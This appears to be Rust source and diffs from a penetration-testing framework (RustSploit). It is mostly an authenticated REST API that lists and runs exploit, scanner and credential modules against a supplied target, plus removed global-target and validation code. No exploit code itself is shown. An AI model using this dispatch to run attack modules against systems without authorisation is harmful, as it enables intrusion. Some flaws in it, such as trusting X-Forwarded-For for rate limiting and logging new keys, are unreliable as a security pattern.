middleware::Next,
response::{IntoResponse, Response},
routing::{get, post},
Json, Router,
};
use std::net::SocketAddr;
use chrono::{DateTime, Utc};
use serde::{Deserialize, Serialize};
use std::{
collections::HashMap,
path::PathBuf,
sync::Arc,
};
use tokio::{
fs::OpenOptions,
io::AsyncWriteExt,
sync::RwLock,
};
use tower::ServiceBuilder;
use tower_http::{
trace::TraceLayer,
limit::RequestBodyLimitLayer,
};
use uuid::Uuid;
use crate::commands;
/// Maximum request body size (1MB) to prevent DoS
const MAX_REQUEST_BODY_SIZE: usize = 1024 * 1024;
/// Maximum number of tracked IPs before cleanup
const MAX_TRACKED_IPS: usize = 100_000;
/// Maximum number of auth failure entries
const MAX_AUTH_FAILURE_ENTRIES: usize = 100_000;
#[derive(Clone, Debug)]
pub struct ApiKey {
pub key: String,
pub created_at: DateTime<Utc>,
}
#[derive(Clone, Debug, Serialize)]
pub struct IpTracker {
pub ip: String,
pub first_seen: DateTime<Utc>,
pub last_seen: DateTime<Utc>,
pub request_count: u32,
}
#[derive(Clone, Debug, Serialize)]
pub struct AuthFailureTracker {
pub ip: String,
pub failed_attempts: u32,
pub first_failure: DateTime<Utc>,
pub blocked_until: Option<DateTime<Utc>>,
}
#[derive(Clone)]
pub struct ApiState {
pub current_key: Arc<RwLock<ApiKey>>,
pub ip_tracker: Arc<RwLock<HashMap<String, IpTracker>>>,
pub auth_failures: Arc<RwLock<HashMap<String, AuthFailureTracker>>>,
pub harden_enabled: bool,
pub ip_limit: u32,
pub log_file: PathBuf,
}
#[derive(Serialize, Deserialize)]
pub struct ApiResponse {
pub success: bool,
pub message: String,
pub data: Option<serde_json::Value>,
}
#[derive(Serialize, Deserialize)]
pub struct RunModuleRequest {
pub module: String,
pub target: String,
}
#[derive(Serialize, Deserialize)]
pub struct ListModulesResponse {
pub exploits: Vec<String>,
pub scanners: Vec<String>,
pub creds: Vec<String>,
}
// ----------------------
// Validation utilities
// ----------------------
fn sanitize_for_log(input: &str) -> String {
let mut s = input.replace(['\r', '\n', '\t'], " ");
if s.len() > 500 {
s.truncate(500);
s.push_str("");
}
s
}
fn is_printable_ascii(s: &str) -> bool {
s.chars().all(|c| c.is_ascii_graphic() || c == ' ' || c == '/' || c == ':' || c == '.')
}
fn validate_api_key_format(key: &str) -> bool {
!key.is_empty() && key.len() <= 128 && key.chars().all(|c| c.is_ascii_graphic())
}
fn validate_module_name(module: &str) -> bool {
// Allow only expected module path forms, e.g., "exploits/x", "scanners/y", "creds/z"
if module.is_empty() || module.len() > 200 { return false; }
if !module.chars().all(|c| c.is_ascii_lowercase() || c.is_ascii_digit() || c == '/' || c == '_' || c == '-') {
return false;
}
let parts: Vec<&str> = module.split('/').collect();
if parts.len() < 2 { return false; }
matches!(parts[0], "exploits" | "scanners" | "creds")
}
fn validate_target(target: &str) -> bool {
if target.is_empty() || target.len() > 2048 { return false; }
if !is_printable_ascii(target) { return false; }
// Basic sanity: avoid spaces at ends and double CRLF injections
let trimmed = target.trim();
trimmed == target && !target.contains("\r\n\r\n")
}
impl ApiState {
pub fn new(initial_key: String, harden: bool, ip_limit: u32) -> Self {
let log_file = std::env::current_dir()
.unwrap_or_else(|_| PathBuf::from("."))
.join("rustsploit_api.log");
Self {
current_key: Arc::new(RwLock::new(ApiKey {
key: initial_key,
created_at: Utc::now(),
})),
ip_tracker: Arc::new(RwLock::new(HashMap::new())),
auth_failures: Arc::new(RwLock::new(HashMap::new())),
harden_enabled: harden,
ip_limit,
log_file,
}
}
pub async fn rotate_key(&self) -> Result<String> {
let new_key = Uuid::new_v4().to_string();
let mut key_guard = self.current_key.write().await;
key_guard.key = new_key.clone();
key_guard.created_at = Utc::now();
drop(key_guard);
// Clear IP tracker on rotation
let mut tracker_guard = self.ip_tracker.write().await;
tracker_guard.clear();
drop(tracker_guard);
self.log_message(&format!(
"[SECURITY] API key rotated at {}",
Utc::now().format("%Y-%m-%d %H:%M:%S UTC")
))
.await?;
Ok(new_key)
}
pub async fn track_ip(&self, ip: &str) -> Result<bool> {
if !self.harden_enabled {
return Ok(false);
}
// Validate IP string length
if ip.len() > 128 {
return Ok(false);
}
let mut tracker_guard = self.ip_tracker.write().await;
let now = Utc::now();
// Cleanup old entries if we have too many tracked IPs (memory protection)
if tracker_guard.len() >= MAX_TRACKED_IPS {
// Remove oldest entries (keep most recent half)
let mut entries: Vec<_> = tracker_guard.drain().collect();
entries.sort_by(|a, b| b.1.last_seen.cmp(&a.1.last_seen));
entries.truncate(MAX_TRACKED_IPS / 2);
for (k, v) in entries {
tracker_guard.insert(k, v);
}
let _ = self.log_message(&format!(
"[CLEANUP] Pruned IP tracker from {} to {} entries",
MAX_TRACKED_IPS,
tracker_guard.len()
)).await;
}
if let Some(tracker) = tracker_guard.get_mut(ip) {
// Update existing tracker - use all fields
tracker.last_seen = now;
tracker.request_count = tracker.request_count.saturating_add(1);
// Log detailed tracking info using first_seen
let duration = now.signed_duration_since(tracker.first_seen);
let _ = self.log_message(&format!(
"[TRACKING] IP {}: {} requests since {} ({} seconds ago)",
tracker.ip,
tracker.request_count,
tracker.first_seen.format("%Y-%m-%d %H:%M:%S UTC"),
duration.num_seconds()
)).await;
} else {
// Create new tracker - all fields are set and will be used
let new_tracker = IpTracker {
ip: ip.to_string(),
first_seen: now,
last_seen: now,
request_count: 1,
};
// Log new IP using all fields
let _ = self.log_message(&format!(
"[TRACKING] New IP detected: {} (first seen: {})",
new_tracker.ip,
new_tracker.first_seen.format("%Y-%m-%d %H:%M:%S UTC")
)).await;
tracker_guard.insert(ip.to_string(), new_tracker);
}
let unique_ips = tracker_guard.len() as u32;
drop(tracker_guard);
if unique_ips > self.ip_limit {
let new_key = self.rotate_key().await?;
self.log_message(&format!(
"[HARDENING] Auto-rotated API key due to {} unique IPs exceeding limit of {}. New key: {}",
unique_ips, self.ip_limit, new_key
))
.await?;
println!(
"⚠️ [HARDENING] API key auto-rotated! {} unique IPs exceeded limit of {}",
unique_ips, self.ip_limit
);
println!("⚠️ New API key: {}", new_key);
return Ok(true);
}
Ok(false)
}
pub async fn log_message(&self, message: &str) -> Result<()> {
let timestamp = Utc::now().format("%Y-%m-%d %H:%M:%S UTC");
let safe = sanitize_for_log(message);
let log_entry = format!("[{}] {}\n", timestamp, safe);
// Log to terminal
println!("{}", log_entry.trim());
// Log to file
let mut file = OpenOptions::new()
.create(true)
.append(true)
.open(&self.log_file)
.await
.context("Failed to open log file")?;
file.write_all(log_entry.as_bytes())
.await
.context("Failed to write to log file")?;
Ok(())
}
pub async fn verify_key(&self, provided_key: &str) -> bool {
let key_guard = self.current_key.read().await;
key_guard.key == provided_key
}
pub async fn check_auth_rate_limit(&self, ip: &str) -> Result<bool> {
let mut failures_guard = self.auth_failures.write().await;
let now = Utc::now();
if let Some(tracker) = failures_guard.get_mut(ip) {
// Check if IP is currently blocked
if let Some(blocked_until) = tracker.blocked_until {
if now < blocked_until {
let remaining = (blocked_until - now).num_seconds();
self.log_message(&format!(
"[RATE_LIMIT] IP {} is blocked for {} more seconds ({} failed attempts)",
ip, remaining, tracker.failed_attempts
))
.await?;
return Ok(false); // Blocked
} else {
// Block period expired, reset
tracker.failed_attempts = 0;
tracker.blocked_until = None;
self.log_message(&format!(
"[RATE_LIMIT] Block period expired for IP {}, resetting counter",
ip
))
.await?;
}
}
}
Ok(true) // Not blocked
}
pub async fn record_auth_failure(&self, ip: &str) -> Result<()> {
// Validate IP string length
if ip.len() > 128 {
return Ok(());
}
let mut failures_guard = self.auth_failures.write().await;
let now = Utc::now();
// Cleanup old entries if we have too many (memory protection)
if failures_guard.len() >= MAX_AUTH_FAILURE_ENTRIES {
// Remove expired blocks and oldest entries
let cutoff = now - chrono::Duration::hours(1);
failures_guard.retain(|_, v| {
v.blocked_until.map(|b| b > now).unwrap_or(false) ||
v.first_failure > cutoff
});
let _ = self.log_message(&format!(
"[CLEANUP] Pruned auth failure tracker to {} entries",
failures_guard.len()
)).await;
}
let tracker = failures_guard.entry(ip.to_string()).or_insert_with(|| {
AuthFailureTracker {
ip: ip.to_string(),
failed_attempts: 0,
first_failure: now,
blocked_until: None,
}
});
// Set first_failure if this is the first attempt
if tracker.failed_attempts == 0 {
tracker.first_failure = now;
}
tracker.failed_attempts = tracker.failed_attempts.saturating_add(1);
// Block after 3 failed attempts for 30 seconds
if tracker.failed_attempts >= 3 {
let block_until = now + chrono::Duration::seconds(30);
tracker.blocked_until = Some(block_until);
let duration_since_first = (now - tracker.first_failure).num_seconds();
self.log_message(&format!(
"[RATE_LIMIT] IP {} blocked for 30 seconds after {} failed authentication attempts (first failure: {}, {} seconds since first)",
tracker.ip, tracker.failed_attempts,
tracker.first_failure.format("%Y-%m-%d %H:%M:%S UTC"),
duration_since_first
))
.await?;
println!(
"🚫 [RATE_LIMIT] IP {} blocked for 30 seconds ({} failed attempts since {})",
tracker.ip, tracker.failed_attempts,
tracker.first_failure.format("%Y-%m-%d %H:%M:%S UTC")
);
} else {
self.log_message(&format!(
"[RATE_LIMIT] IP {} failed authentication attempt {}/3 (first failure: {})",
tracker.ip, tracker.failed_attempts,
tracker.first_failure.format("%Y-%m-%d %H:%M:%S UTC")
))
.await?;
}
Ok(())
}
pub async fn reset_auth_failures(&self, ip: &str) -> Result<()> {
let mut failures_guard = self.auth_failures.write().await;
if let Some(tracker) = failures_guard.get_mut(ip) {
if tracker.failed_attempts > 0 {
self.log_message(&format!(
"[RATE_LIMIT] Resetting auth failure counter for IP {} (was {} attempts)",
ip, tracker.failed_attempts
))
.await?;
}
tracker.failed_attempts = 0;
tracker.blocked_until = None;
}
Ok(())
}
}
async fn auth_middleware(
State(state): State<ApiState>,
ConnectInfo(addr): ConnectInfo<SocketAddr>,
headers: HeaderMap,
request: Request,
next: Next,
) -> Response {
// Extract IP address - try to get from headers first (for proxied requests)
let client_ip = headers
.get("x-forwarded-for")
.or_else(|| headers.get("x-real-ip"))
.and_then(|h| h.to_str().ok())
.map(|s| {
s.split(',')
.next()
.unwrap_or("")
.trim()
.to_string()
})
.filter(|s| !s.is_empty())
.unwrap_or_else(|| addr.ip().to_string());
// Check rate limit before processing authentication
if client_ip != "unknown" {
if let Ok(allowed) = state.check_auth_rate_limit(&client_ip).await {
if !allowed {
let response = ApiResponse {
success: false,
message: "Too many failed authentication attempts. Please try again in 30 seconds.".to_string(),
data: None,
};
return (StatusCode::TOO_MANY_REQUESTS, Json(response)).into_response();
}
}
}
// Extract API key from Authorization header
let auth_header = headers
.get("Authorization")
.and_then(|h| h.to_str().ok())
.unwrap_or("");
let provided_key = if auth_header.starts_with("Bearer ") {
&auth_header[7..]
} else if auth_header.starts_with("ApiKey ") {
&auth_header[7..]
} else {
auth_header
};
// Basic key format validation
if !validate_api_key_format(provided_key) {
let response = ApiResponse {
success: false,
message: "Malformed API key".to_string(),
data: None,
};
return (StatusCode::UNAUTHORIZED, Json(response)).into_response();
}
// Verify API key
let is_valid = state.verify_key(provided_key).await;
if !is_valid {
// Record failed authentication attempt
if client_ip != "unknown" {
let _ = state.record_auth_failure(&client_ip).await;
}
let response = ApiResponse {
success: false,
message: "Invalid API key".to_string(),
data: None,
};
return (StatusCode::UNAUTHORIZED, Json(response)).into_response();
}
// Successful authentication - reset failure counter for this IP
if client_ip != "unknown" {
let _ = state.reset_auth_failures(&client_ip).await;
}
// Track IP for hardening (if enabled)
let _ = state.track_ip(&client_ip).await;
next.run(request).await
}
async fn health_check() -> Json<ApiResponse> {
Json(ApiResponse {
success: true,
message: "API is running".to_string(),
data: None,
})
}
async fn list_modules(State(_state): State<ApiState>) -> Json<ApiResponse> {
let modules = commands::discover_modules();
let mut exploits = Vec::new();
let mut scanners = Vec::new();
let mut creds = Vec::new();
for module in modules {
if module.starts_with("exploits/") {
exploits.push(module);
} else if module.starts_with("scanners/") {
scanners.push(module);
} else if module.starts_with("creds/") {
creds.push(module);
}
}
let data = ListModulesResponse {
exploits,
scanners,
creds,
};
Json(ApiResponse {
success: true,
message: "Modules retrieved successfully".to_string(),
data: Some(serde_json::to_value(data).unwrap()),
})
}
async fn run_module(
State(state): State<ApiState>,
Json(payload): Json<RunModuleRequest>,
) -> Result<Json<ApiResponse>, StatusCode> {
let module_name_raw = payload.module.as_str();
let target_raw = payload.target.as_str();
// Validate inputs
if !validate_module_name(module_name_raw) {
return Err(StatusCode::BAD_REQUEST);
}
if !validate_target(target_raw) {
return Err(StatusCode::BAD_REQUEST);
}
// Sanitize for logging only
let module_name = sanitize_for_log(module_name_raw);
let target_name = sanitize_for_log(target_raw);
state
.log_message(&format!(
"API request: run module '{}' on target '{}'",
module_name, target_name
))
.await
.map_err(|_| StatusCode::INTERNAL_SERVER_ERROR)?;
// Run the module in a separate OS thread since some modules aren't Send
let module = payload.module.clone();
let target = payload.target.clone();
let state_clone = state.clone();
// Use std::thread to run in a separate OS thread with its own runtime
std::thread::spawn(move || {
// Create a new runtime for this thread since modules need async runtime
let rt = tokio::runtime::Runtime::new().unwrap();
rt.block_on(async {
if let Err(e) = commands::run_module(&module, &target).await {
let _ = state_clone
.log_message(&format!("Error running module: {}", sanitize_for_log(&e.to_string())))
.await;
} else {
let _ = state_clone
.log_message(&format!(
"Successfully completed module '{}' on target '{}'",
sanitize_for_log(&module), sanitize_for_log(&target)
))
.await;
}
});
});
Ok(Json(ApiResponse {
success: true,
message: format!("Module '{}' execution started for target '{}'", module_name, target_name),
data: None,
}))
}
async fn get_status(State(state): State<ApiState>) -> Json<ApiResponse> {
let key_guard = state.current_key.read().await;
let tracker_guard = state.ip_tracker.read().await;
// Collect all tracked IPs with their details
let tracked_ips: Vec<&IpTracker> = tracker_guard.values().collect();
let ip_details: Vec<serde_json::Value> = tracked_ips
.iter()
.map(|tracker| {
serde_json::json!({
"ip": tracker.ip,
"first_seen": tracker.first_seen.to_rfc3339(),
"last_seen": tracker.last_seen.to_rfc3339(),
"request_count": tracker.request_count,
})
})
.collect();
let status_data = serde_json::json!({
"harden_enabled": state.harden_enabled,
"ip_limit": state.ip_limit,
"unique_ips": tracker_guard.len(),
"key_created_at": key_guard.created_at.to_rfc3339(),
"log_file": state.log_file.to_string_lossy(),
"tracked_ips": ip_details,
});
Json(ApiResponse {
success: true,
message: "Status retrieved successfully".to_string(),
data: Some(status_data),
})
}
async fn rotate_key_endpoint(State(state): State<ApiState>) -> Result<Json<ApiResponse>, StatusCode> {
let new_key = state
.rotate_key()
.await
.map_err(|_| StatusCode::INTERNAL_SERVER_ERROR)?;
Ok(Json(ApiResponse {
success: true,
message: "API key rotated successfully".to_string(),
data: Some(serde_json::json!({ "new_key": new_key })),
}))
}
async fn get_tracked_ips(State(state): State<ApiState>) -> Json<ApiResponse> {
let tracker_guard = state.ip_tracker.read().await;
let failures_guard = state.auth_failures.read().await;
// Use all fields from IpTracker
let ips: Vec<serde_json::Value> = tracker_guard
.values()
.map(|tracker| {
// Get auth failure info for this IP if it exists
let auth_info = failures_guard.get(&tracker.ip).map(|fail| {
serde_json::json!({
"failed_attempts": fail.failed_attempts,
"first_failure": fail.first_failure.to_rfc3339(),
"blocked_until": fail.blocked_until.map(|dt| dt.to_rfc3339()),
"is_blocked": fail.blocked_until.map(|dt| Utc::now() < dt).unwrap_or(false),
})
});
serde_json::json!({
"ip": tracker.ip,
"first_seen": tracker.first_seen.to_rfc3339(),
"last_seen": tracker.last_seen.to_rfc3339(),
"request_count": tracker.request_count,
"duration_seconds": (tracker.last_seen - tracker.first_seen).num_seconds(),
"auth_failures": auth_info,
})
})
.collect();
Json(ApiResponse {
success: true,
message: format!("Retrieved {} tracked IP addresses", ips.len()),
data: Some(serde_json::json!({ "ips": ips })),
})
}
async fn get_auth_failures(State(state): State<ApiState>) -> Json<ApiResponse> {
let failures_guard = state.auth_failures.read().await;
let now = Utc::now();
// Use all fields from AuthFailureTracker
let failures: Vec<serde_json::Value> = failures_guard
.values()
.map(|tracker| {
let is_blocked = tracker.blocked_until
.map(|blocked_until| now < blocked_until)
.unwrap_or(false);
let remaining_seconds = if is_blocked {
tracker.blocked_until
.map(|blocked_until| (blocked_until - now).num_seconds())
.unwrap_or(0)
} else {
0
};
serde_json::json!({
"ip": tracker.ip,
"failed_attempts": tracker.failed_attempts,
"first_failure": tracker.first_failure.to_rfc3339(),
"blocked_until": tracker.blocked_until.map(|dt| dt.to_rfc3339()),
"is_blocked": is_blocked,
"remaining_block_seconds": remaining_seconds,
"duration_since_first": (now - tracker.first_failure).num_seconds(),
})
})
.collect();
Json(ApiResponse {
success: true,
message: format!("Retrieved {} IPs with authentication failures", failures.len()),
data: Some(serde_json::json!({ "auth_failures": failures })),
})
}
pub async fn start_api_server(
bind_address: &str,
api_key: String,
harden: bool,
ip_limit: u32,
) -> Result<()> {
let state = ApiState::new(api_key.clone(), harden, ip_limit);
// Log initial startup
state
.log_message(&format!(
"Starting API server on {} with hardening: {}, IP limit: {}",
bind_address, harden, ip_limit
))
.await?;
println!("🚀 Starting RustSploit API server...");
println!("📍 Binding to: {}", bind_address);
println!("🔑 Initial API key: {}", api_key);
println!("🛡️ Hardening mode: {}", if harden { "ENABLED" } else { "DISABLED" });
if harden {
println!("📊 IP limit: {}", ip_limit);
}
println!("📝 Log file: {}", state.log_file.display());
// Create routes that require authentication
let protected_routes = Router::new()
.route("/api/modules", get(list_modules))
.route("/api/run", post(run_module))
.route("/api/status", get(get_status))
.route("/api/rotate-key", post(rotate_key_endpoint))
.route("/api/ips", get(get_tracked_ips))
.route("/api/auth-failures", get(get_auth_failures))
.layer(axum::middleware::from_fn_with_state(
state.clone(),
auth_middleware,
));
let app = Router::new()
.route("/health", get(health_check))
.merge(protected_routes)
.layer(
ServiceBuilder::new()
.layer(RequestBodyLimitLayer::new(MAX_REQUEST_BODY_SIZE))
.layer(TraceLayer::new_for_http())
)
.with_state(state);
let listener = tokio::net::TcpListener::bind(bind_address)
.await
.context(format!("Failed to bind to {}", bind_address))?;
println!("✅ API server is running! Use the API key in Authorization header.");
println!("📖 Example: curl -H 'Authorization: Bearer {}' http://{}/api/modules", api_key, bind_address);
axum::serve(
listener,
app.into_make_service_with_connect_info::<SocketAddr>(),
)
.await
.context("API server error")?;
Ok(())
}
+1 -25
View File
@@ -6,7 +6,7 @@ use clap::{ArgGroup, Parser};
#[clap(group(
ArgGroup::new("mode")
.required(false)
.args(&["command", "api"])
.args(&["command"])
))]
pub struct Cli {
/// Subcommand to run (e.g. "exploit", "scanner", "creds")
@@ -19,28 +19,4 @@ pub struct Cli {
/// Module name to use
#[arg(short, long)]
pub module: Option<String>,
/// Launch API server mode
#[arg(long)]
pub api: bool,
/// API key for authentication (required when --api is used)
#[arg(long, requires = "api")]
pub api_key: Option<String>,
/// Enable hardening mode (auto-rotate API key on suspicious activity)
#[arg(long, requires = "api")]
pub harden: bool,
/// Network interface to bind API server to (default: 0.0.0.0)
#[arg(long, requires = "api", default_value = "0.0.0.0")]
pub interface: Option<String>,
/// IP limit for hardening mode (default: 10 unique IPs)
#[arg(long, requires = "harden", default_value = "10")]
pub ip_limit: Option<u32>,
/// Set global target IP/subnet for all modules
#[arg(long)]
pub set_target: Option<String>,
}
+1 -1
View File
@@ -2,7 +2,7 @@ use std::collections::HashSet;
use std::env;
use std::fs::{self, File};
use std::io::Write;
use std::path::Path;
use std::path::{Path, PathBuf};
fn main() {
let out_dir = env::var("OUT_DIR").unwrap();
+1 -1
View File
@@ -2,7 +2,7 @@ use std::collections::HashSet;
use std::env;
use std::fs::{self, File};
use std::io::Write;
use std::path::Path;
use std::path::{Path, PathBuf};
fn main() {
let out_dir = env::var("OUT_DIR").unwrap();
+2 -40
View File
@@ -4,30 +4,12 @@ pub mod creds;
use anyhow::Result;
use crate::cli::Cli;
use crate::config;
use walkdir::WalkDir;
use crate::utils::normalize_target;
/// CLI dispatcher: e.g. --command scanner --target "::1" --module scanners/port_scanner
pub async fn handle_command(command: &str, cli_args: &Cli) -> Result<()> {
// Use CLI target if provided, otherwise try global target
let raw = if let Some(ref t) = cli_args.target {
t.clone()
} else if config::GLOBAL_CONFIG.has_target() {
// Use single IP from global target (handles subnets intelligently)
match config::GLOBAL_CONFIG.get_single_target_ip() {
Ok(ip) => {
println!("[*] Using global target: {}", config::GLOBAL_CONFIG.get_target().unwrap_or_default());
ip
}
Err(e) => {
return Err(anyhow::anyhow!("No target specified and global target error: {}", e));
}
}
} else {
return Err(anyhow::anyhow!("No target specified. Use --target <ip> or --set-target <ip/subnet>"));
};
let raw = cli_args.target.clone().unwrap_or_default();
let target = normalize_target(&raw)?; // IPv6 wrap only, no port
let module = cli_args.module.clone().unwrap_or_default();
@@ -53,7 +35,6 @@ pub async fn handle_command(command: &str, cli_args: &Cli) -> Result<()> {
}
/// Interactive shell: handles `run` with raw target string
/// If raw_target is empty, uses global target if available
pub async fn run_module(module_path: &str, raw_target: &str) -> Result<()> {
let available = discover_modules();
@@ -76,26 +57,7 @@ pub async fn run_module(module_path: &str, raw_target: &str) -> Result<()> {
return Ok(());
};
// Use provided target, or fall back to global target
let target_str = if raw_target.is_empty() {
if config::GLOBAL_CONFIG.has_target() {
match config::GLOBAL_CONFIG.get_single_target_ip() {
Ok(ip) => {
println!("[*] Using global target: {}", config::GLOBAL_CONFIG.get_target().unwrap_or_default());
ip
}
Err(e) => {
return Err(anyhow::anyhow!("No target specified and global target error: {}", e));
}
}
} else {
return Err(anyhow::anyhow!("No target specified. Use 'set target <ip/subnet>' or provide target when running module"));
}
} else {
raw_target.to_string()
};
let target = normalize_target(&target_str)?;
let target = normalize_target(raw_target)?;
let mut parts = resolved.splitn(2, '/');
let category = parts.next().unwrap_or("");
+1 -1
View File
@@ -2,7 +2,7 @@ use std::collections::HashSet;
use std::env;
use std::fs::{self, File};
use std::io::{Write};
use std::path::Path;
use std::path::{Path, PathBuf};
fn main() {
let out_dir = env::var("OUT_DIR").unwrap();
-264
View File
@@ -1,264 +0,0 @@
use anyhow::{Result, anyhow};
use std::sync::{Arc, RwLock};
use ipnetwork::IpNetwork;
use regex::Regex;
/// Maximum length for target strings
const MAX_TARGET_LENGTH: usize = 2048;
/// Maximum length for hostname
const MAX_HOSTNAME_LENGTH: usize = 253;
/// Global configuration for the framework
#[derive(Clone, Debug)]
pub struct GlobalConfig {
/// Global target - can be a single IP or CIDR subnet
target: Arc<RwLock<Option<TargetConfig>>>,
}
#[derive(Clone, Debug)]
pub enum TargetConfig {
/// Single IP address or hostname
Single(String),
/// CIDR subnet (e.g., "192.168.1.0/24")
Subnet(IpNetwork),
}
impl GlobalConfig {
/// Create a new global configuration
pub fn new() -> Self {
Self {
target: Arc::new(RwLock::new(None)),
}
}
/// Set the global target (IP, hostname, or CIDR subnet)
pub fn set_target(&self, target: &str) -> Result<()> {
let trimmed = target.trim();
// Basic validation
if trimmed.is_empty() {
return Err(anyhow!("Target cannot be empty"));
}
// Length check
if trimmed.len() > MAX_TARGET_LENGTH {
return Err(anyhow!(
"Target too long (max {} characters)",
MAX_TARGET_LENGTH
));
}
// Check for control characters
if trimmed.chars().any(|c| c.is_control()) {
return Err(anyhow!("Target cannot contain control characters"));
}
// Check for path traversal attempts
if trimmed.contains("..") || trimmed.contains("//") {
return Err(anyhow!("Target contains invalid characters (path traversal)"));
}
// Try to parse as CIDR subnet first
if let Ok(network) = trimmed.parse::<IpNetwork>() {
let mut target_guard = self.target.write().unwrap();
*target_guard = Some(TargetConfig::Subnet(network));
return Ok(());
}
// Validate hostname/IP format
Self::validate_hostname_or_ip(trimmed)?;
// Otherwise, treat as single IP or hostname
let mut target_guard = self.target.write().unwrap();
*target_guard = Some(TargetConfig::Single(trimmed.to_string()));
Ok(())
}
/// Validates a hostname or IP address format
fn validate_hostname_or_ip(target: &str) -> Result<()> {
// Length check for hostname
if target.len() > MAX_HOSTNAME_LENGTH {
return Err(anyhow!(
"Hostname too long (max {} characters)",
MAX_HOSTNAME_LENGTH
));
}
// Check for valid characters
// Allow: a-z, A-Z, 0-9, '.', '-', '_', ':', '[', ']' (for IPv6)
let valid_chars = Regex::new(r"^[a-zA-Z0-9.\-_:\[\]]+$").unwrap();
if !valid_chars.is_match(target) {
return Err(anyhow!(
"Target contains invalid characters. Allowed: letters, numbers, '.', '-', '_', ':', '[', ']'"
));
}
// Check for spaces
if target.contains(' ') {
return Err(anyhow!("Target cannot contain spaces"));
}
// Basic hostname format check (not starting/ending with special chars)
if target.starts_with('.') || target.starts_with('-') {
return Err(anyhow!("Target cannot start with '.' or '-'"));
}
if target.ends_with('.') && !target.ends_with("..") {
// Allow trailing dot for FQDN, but not double dots
}
// Check for consecutive dots (invalid in hostnames)
if target.contains("..") {
return Err(anyhow!("Target cannot contain consecutive dots"));
}
Ok(())
}
/// Get the global target as a single string (for display)
pub fn get_target(&self) -> Option<String> {
let target_guard = self.target.read().unwrap();
target_guard.as_ref().map(|t| match t {
TargetConfig::Single(ip) => ip.clone(),
TargetConfig::Subnet(net) => net.to_string(),
})
}
/// Get a single IP address from the global target
/// For subnets, returns the network address (first IP)
pub fn get_single_target_ip(&self) -> Result<String> {
let target_guard = self.target.read().unwrap();
match target_guard.as_ref() {
Some(TargetConfig::Single(ip)) => {
Ok(ip.clone())
}
Some(TargetConfig::Subnet(net)) => {
// Return the network address (first IP in the subnet)
Ok(net.network().to_string())
}
None => Err(anyhow!("No global target set")),
}
}
/// Get all IP addresses from the global target
/// Returns a vector of IP addresses (expands subnets)
/// For very large subnets (> 65536 IPs), returns an error
pub fn get_target_ips(&self) -> Result<Vec<String>> {
let target_guard = self.target.read().unwrap();
match target_guard.as_ref() {
Some(TargetConfig::Single(ip)) => {
// For single IP/hostname, return as-is
Ok(vec![ip.clone()])
}
Some(TargetConfig::Subnet(net)) => {
// Check subnet size to prevent memory issues
// Calculate size from prefix length: 2^(32-prefix) for IPv4, 2^(128-prefix) for IPv6
let size = match net {
IpNetwork::V4(net4) => {
let prefix = net4.prefix() as u32;
if prefix >= 32 {
1u64
} else {
2u64.pow(32 - prefix)
}
}
IpNetwork::V6(net6) => {
let prefix = net6.prefix() as u32;
if prefix >= 128 {
1u64
} else {
// For very large IPv6 subnets, cap at u64::MAX
let exp = 128u32.saturating_sub(prefix);
if exp > 63 {
u64::MAX
} else {
2u64.pow(exp)
}
}
}
};
const MAX_SUBNET_SIZE: u64 = 65536; // Limit to /16 or smaller
if size > MAX_SUBNET_SIZE {
return Err(anyhow!(
"Subnet too large ({} IPs). Maximum allowed: {} IPs. Use a smaller subnet or use 'get_single_target_ip' for a single IP.",
size, MAX_SUBNET_SIZE
));
}
// Expand subnet to individual IPs
let mut ips = Vec::new();
for ip in net.iter() {
ips.push(ip.to_string());
}
Ok(ips)
}
None => Err(anyhow!("No global target set")),
}
}
/// Check if global target is set
pub fn has_target(&self) -> bool {
let target_guard = self.target.read().unwrap();
target_guard.is_some()
}
/// Check if global target is a subnet
pub fn is_subnet(&self) -> bool {
let target_guard = self.target.read().unwrap();
matches!(target_guard.as_ref(), Some(TargetConfig::Subnet(_)))
}
/// Get the size of the target (number of IPs)
/// For single IPs, returns 1
/// For subnets, returns the subnet size without expanding
pub fn get_target_size(&self) -> Option<u64> {
let target_guard = self.target.read().unwrap();
match target_guard.as_ref() {
Some(TargetConfig::Single(_)) => Some(1),
Some(TargetConfig::Subnet(net)) => {
// Calculate size from prefix length
let size = match net {
IpNetwork::V4(net4) => {
let prefix = net4.prefix() as u32;
if prefix >= 32 {
1u64
} else {
2u64.pow(32 - prefix)
}
}
IpNetwork::V6(net6) => {
let prefix = net6.prefix() as u32;
if prefix >= 128 {
1u64
} else {
let exp = 128u32.saturating_sub(prefix);
if exp > 63 {
u64::MAX
} else {
2u64.pow(exp)
}
}
}
};
Some(size)
}
None => None,
}
}
/// Clear the global target
pub fn clear_target(&self) {
let mut target_guard = self.target.write().unwrap();
*target_guard = None;
}
}
/// Global configuration instance
use once_cell::sync::Lazy;
pub static GLOBAL_CONFIG: Lazy<GlobalConfig> = Lazy::new(|| GlobalConfig::new());
+1 -121
View File
@@ -1,137 +1,17 @@
use anyhow::{anyhow, Context, Result};
use anyhow::Result;
use clap::Parser;
use std::net::SocketAddr;
mod cli;
mod shell;
mod commands;
mod modules;
mod utils;
mod api;
mod config;
/// Maximum length for API key to prevent memory exhaustion
const MAX_API_KEY_LENGTH: usize = 256;
/// Maximum length for interface/bind address
const MAX_BIND_ADDRESS_LENGTH: usize = 128;
/// Maximum IP limit for hardening mode
const MAX_IP_LIMIT: u32 = 10000;
/// Validates the bind address format for security
fn validate_bind_address(addr: &str) -> Result<String> {
let trimmed = addr.trim();
// Length check
if trimmed.is_empty() {
return Err(anyhow!("Bind address cannot be empty"));
}
if trimmed.len() > MAX_BIND_ADDRESS_LENGTH {
return Err(anyhow!(
"Bind address too long (max {} characters)",
MAX_BIND_ADDRESS_LENGTH
));
}
// Check for control characters
if trimmed.chars().any(|c| c.is_control()) {
return Err(anyhow!("Bind address cannot contain control characters"));
}
// Add port if missing
let with_port = if trimmed.contains(':') {
trimmed.to_string()
} else {
format!("{}:8080", trimmed)
};
// Validate socket address format
with_port.parse::<SocketAddr>()
.map_err(|e| anyhow!("Invalid bind address '{}': {}", with_port, e))?;
Ok(with_port)
}
/// Validates API key format for security
fn validate_api_key(key: &str) -> Result<String> {
let trimmed = key.trim();
if trimmed.is_empty() {
return Err(anyhow!("API key cannot be empty"));
}
if trimmed.len() > MAX_API_KEY_LENGTH {
return Err(anyhow!(
"API key too long (max {} characters)",
MAX_API_KEY_LENGTH
));
}
// Only allow printable ASCII characters
if !trimmed.chars().all(|c| c.is_ascii_graphic()) {
return Err(anyhow!("API key must contain only printable ASCII characters"));
}
Ok(trimmed.to_string())
}
/// Validates IP limit for hardening mode
fn validate_ip_limit(limit: u32) -> Result<u32> {
